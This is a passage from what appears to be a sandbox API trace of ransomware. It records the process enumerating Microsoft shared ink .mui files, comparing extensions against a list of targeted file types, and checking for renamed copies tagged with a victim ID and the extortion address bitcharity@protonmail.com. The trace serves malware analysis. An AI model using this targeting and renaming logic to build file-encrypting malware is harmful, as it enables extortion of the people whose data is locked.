shared\\ink\\da-dk\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0243.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0243.840] lstrlenW (lpString=".doc") returned 4 [0243.840] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0243.840] lstrlenW (lpString=".docx") returned 5 [0243.840] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0243.840] lstrlenW (lpString=".pdf") returned 4 [0243.840] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0243.841] lstrlenW (lpString=".xls") returned 4 [0243.841] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0243.841] lstrlenW (lpString=".xlsx") returned 5 [0243.841] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0243.841] lstrlenW (lpString=".ppt") returned 4 [0243.841] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0243.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0243.841] lstrlenW (lpString=".zip") returned 4 [0243.841] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0243.841] lstrlenW (lpString=".rar") returned 4 [0243.841] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0243.841] lstrlenW (lpString=".bz2") returned 4 [0243.841] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0243.841] lstrlenW (lpString=".7z") returned 3 [0243.841] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0243.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0243.841] lstrlenW (lpString=".dbf") returned 4 [0243.841] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0243.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0243.841] lstrlenW (lpString=".1cd") returned 4 [0243.841] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0243.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0243.841] lstrlenW (lpString=".jpg") returned 4 [0243.841] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0243.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0243.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0243.842] lstrlenW (lpString=".doc") returned 4 [0243.842] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0243.842] lstrlenW (lpString=".docx") returned 5 [0243.842] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0243.842] lstrlenW (lpString=".pdf") returned 4 [0243.842] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0243.842] lstrlenW (lpString=".xls") returned 4 [0243.842] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0243.842] lstrlenW (lpString=".xlsx") returned 5 [0243.842] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0243.842] lstrlenW (lpString=".ppt") returned 4 [0243.842] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0243.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0243.842] lstrlenW (lpString=".zip") returned 4 [0243.842] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0243.842] lstrlenW (lpString=".rar") returned 4 [0243.842] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0243.842] lstrlenW (lpString=".bz2") returned 4 [0243.842] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0243.842] lstrlenW (lpString=".7z") returned 3 [0243.842] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0243.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0243.842] lstrlenW (lpString=".dbf") returned 4 [0243.842] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0243.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0243.842] lstrlenW (lpString=".1cd") returned 4 [0243.842] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0243.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0243.843] lstrlenW (lpString=".jpg") returned 4 [0243.843] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0243.843] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0243.843] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22 [0243.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x116c [0244.041] GetFileSizeEx (in: hFile=0x116c, lpFileSize=0x38aff14 | out: lpFileSize=0x38aff14*=23040) returned 1 [0244.041] CloseHandle (hObject=0x116c) returned 1 [0244.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0244.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0244.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0244.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0244.042] lstrlenW (lpString=".doc") returned 4 [0244.042] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.042] lstrlenW (lpString=".docx") returned 5 [0244.042] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0244.042] lstrlenW (lpString=".pdf") returned 4 [0244.042] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.042] lstrlenW (lpString=".xls") returned 4 [0244.042] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.042] lstrlenW (lpString=".xlsx") returned 5 [0244.042] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0244.042] lstrlenW (lpString=".ppt") returned 4 [0244.043] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0244.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0244.043] lstrlenW (lpString=".zip") returned 4 [0244.043] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0244.043] lstrlenW (lpString=".rar") returned 4 [0244.043] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0244.043] lstrlenW (lpString=".bz2") returned 4 [0244.043] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0244.043] lstrlenW (lpString=".7z") returned 3 [0244.043] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0244.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0244.043] lstrlenW (lpString=".dbf") returned 4 [0244.043] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0244.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0244.043] lstrlenW (lpString=".1cd") returned 4 [0244.043] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0244.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0244.043] lstrlenW (lpString=".jpg") returned 4 [0244.043] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0244.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0244.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0244.043] lstrlenW (lpString=".doc") returned 4 [0244.043] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.043] lstrlenW (lpString=".docx") returned 5 [0244.043] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0244.043] lstrlenW (lpString=".pdf") returned 4 [0244.043] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.043] lstrlenW (lpString=".xls") returned 4 [0244.044] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.044] lstrlenW (lpString=".xlsx") returned 5 [0244.044] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0244.044] lstrlenW (lpString=".ppt") returned 4 [0244.044] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0244.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0244.044] lstrlenW (lpString=".zip") returned 4 [0244.044] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0244.044] lstrlenW (lpString=".rar") returned 4 [0244.044] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0244.044] lstrlenW (lpString=".bz2") returned 4 [0244.044] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0244.044] lstrlenW (lpString=".7z") returned 3 [0244.044] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0244.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0244.044] lstrlenW (lpString=".dbf") returned 4 [0244.044] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0244.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0244.044] lstrlenW (lpString=".1cd") returned 4 [0244.044] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0244.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0244.044] lstrlenW (lpString=".jpg") returned 4 [0244.044] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0244.045] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0244.045] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0244.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x116c [0244.065] GetFileSizeEx (in: hFile=0x116c, lpFileSize=0x38aff14 | out: lpFileSize=0x38aff14*=11264) returned 1 [0244.065] CloseHandle (hObject=0x116c) returned 1 [0244.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui")) returned 0x20 [0244.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0244.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0244.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0244.065] lstrlenW (lpString=".doc") returned 4 [0244.065] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.065] lstrlenW (lpString=".docx") returned 5 [0244.066] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0244.066] lstrlenW (lpString=".pdf") returned 4 [0244.066] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.066] lstrlenW (lpString=".xls") returned 4 [0244.066] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.066] lstrlenW (lpString=".xlsx") returned 5 [0244.066] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0244.066] lstrlenW (lpString=".ppt") returned 4 [0244.066] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0244.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0244.066] lstrlenW (lpString=".zip") returned 4 [0244.066] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0244.066] lstrlenW (lpString=".rar") returned 4 [0244.066] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0244.066] lstrlenW (lpString=".bz2") returned 4 [0244.067] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0244.067] lstrlenW (lpString=".7z") returned 3 [0244.067] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0244.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0244.067] lstrlenW (lpString=".dbf") returned 4 [0244.067] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0244.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0244.067] lstrlenW (lpString=".1cd") returned 4 [0244.067] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0244.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0244.067] lstrlenW (lpString=".jpg") returned 4 [0244.067] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0244.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0244.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0244.067] lstrlenW (lpString=".doc") returned 4 [0244.067] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.067] lstrlenW (lpString=".docx") returned 5 [0244.067] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0244.067] lstrlenW (lpString=".pdf") returned 4 [0244.067] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.067] lstrlenW (lpString=".xls") returned 4 [0244.067] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.068] lstrlenW (lpString=".xlsx") returned 5 [0244.068] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0244.068] lstrlenW (lpString=".ppt") returned 4 [0244.068] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0244.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0244.068] lstrlenW (lpString=".zip") returned 4 [0244.068] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0244.068] lstrlenW (lpString=".rar") returned 4 [0244.068] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0244.068] lstrlenW (lpString=".bz2") returned 4 [0244.068] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0244.068] lstrlenW (lpString=".7z") returned 3 [0244.068] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0244.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0244.068] lstrlenW (lpString=".dbf") returned 4 [0244.068] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0244.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0244.068] lstrlenW (lpString=".1cd") returned 4 [0244.068] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0244.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72 [0244.069] lstrlenW (lpString=".jpg") returned 4 [0244.069] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0244.069] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0244.069] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0244.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x116c [0244.071] GetFileSizeEx (in: hFile=0x116c, lpFileSize=0x38aff14 | out: lpFileSize=0x38aff14*=11264) returned 1 [0244.072] CloseHandle (hObject=0x116c) returned 1 [0244.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0244.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0244.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0244.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0244.072] lstrlenW (lpString=".doc") returned 4 [0244.072] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.072] lstrlenW (lpString=".docx") returned 5 [0244.072] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0244.072] lstrlenW (lpString=".pdf") returned 4 [0244.072] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.072] lstrlenW (lpString=".xls") returned 4 [0244.072] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.072] lstrlenW (lpString=".xlsx") returned 5 [0244.073] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0244.073] lstrlenW (lpString=".ppt") returned 4 [0244.073] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0244.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0244.073] lstrlenW (lpString=".zip") returned 4 [0244.073] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0244.073] lstrlenW (lpString=".rar") returned 4 [0244.073] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0244.073] lstrlenW (lpString=".bz2") returned 4 [0244.073] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0244.073] lstrlenW (lpString=".7z") returned 3 [0244.073] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0244.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0244.073] lstrlenW (lpString=".dbf") returned 4 [0244.073] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0244.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0244.073] lstrlenW (lpString=".1cd") returned 4 [0244.073] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0244.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0244.073] lstrlenW (lpString=".jpg") returned 4 [0244.073] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0244.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0244.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0244.074] lstrlenW (lpString=".doc") returned 4 [0244.074] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.074] lstrlenW (lpString=".docx") returned 5 [0244.074] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0244.074] lstrlenW (lpString=".pdf") returned 4 [0244.074] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.074] lstrlenW (lpString=".xls") returned 4 [0244.074] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.074] lstrlenW (lpString=".xlsx") returned 5 [0244.074] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0244.074] lstrlenW (lpString=".ppt") returned 4 [0244.074] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0244.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0244.074] lstrlenW (lpString=".zip") returned 4 [0244.074] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0244.074] lstrlenW (lpString=".rar") returned 4 [0244.074] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0244.074] lstrlenW (lpString=".bz2") returned 4 [0244.074] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0244.074] lstrlenW (lpString=".7z") returned 3 [0244.074] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0244.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0244.074] lstrlenW (lpString=".dbf") returned 4 [0244.074] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0244.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0244.075] lstrlenW (lpString=".1cd") returned 4 [0244.075] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0244.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0244.075] lstrlenW (lpString=".jpg") returned 4 [0244.075] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0244.075] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0244.075] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0244.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x116c [0244.076] GetFileSizeEx (in: hFile=0x116c, lpFileSize=0x38aff14 | out: lpFileSize=0x38aff14*=10240) returned 1 [0244.076] CloseHandle (hObject=0x116c) returned 1 [0244.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0244.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0244.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0244.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0244.076] lstrlenW (lpString=".doc") returned 4 [0244.076] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.077] lstrlenW (lpString=".docx") returned 5 [0244.077] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0244.077] lstrlenW (lpString=".pdf") returned 4 [0244.077] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.077] lstrlenW (lpString=".xls") returned 4 [0244.077] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.077] lstrlenW (lpString=".xlsx") returned 5 [0244.077] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0244.077] lstrlenW (lpString=".ppt") returned 4 [0244.077] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0244.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0244.077] lstrlenW (lpString=".zip") returned 4 [0244.077] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0244.077] lstrlenW (lpString=".rar") returned 4 [0244.077] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0244.077] lstrlenW (lpString=".bz2") returned 4 [0244.077] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0244.077] lstrlenW (lpString=".7z") returned 3 [0244.077] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0244.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0244.077] lstrlenW (lpString=".dbf") returned 4 [0244.077] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0244.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0244.077] lstrlenW (lpString=".1cd") returned 4 [0244.078] lstrcmpiW 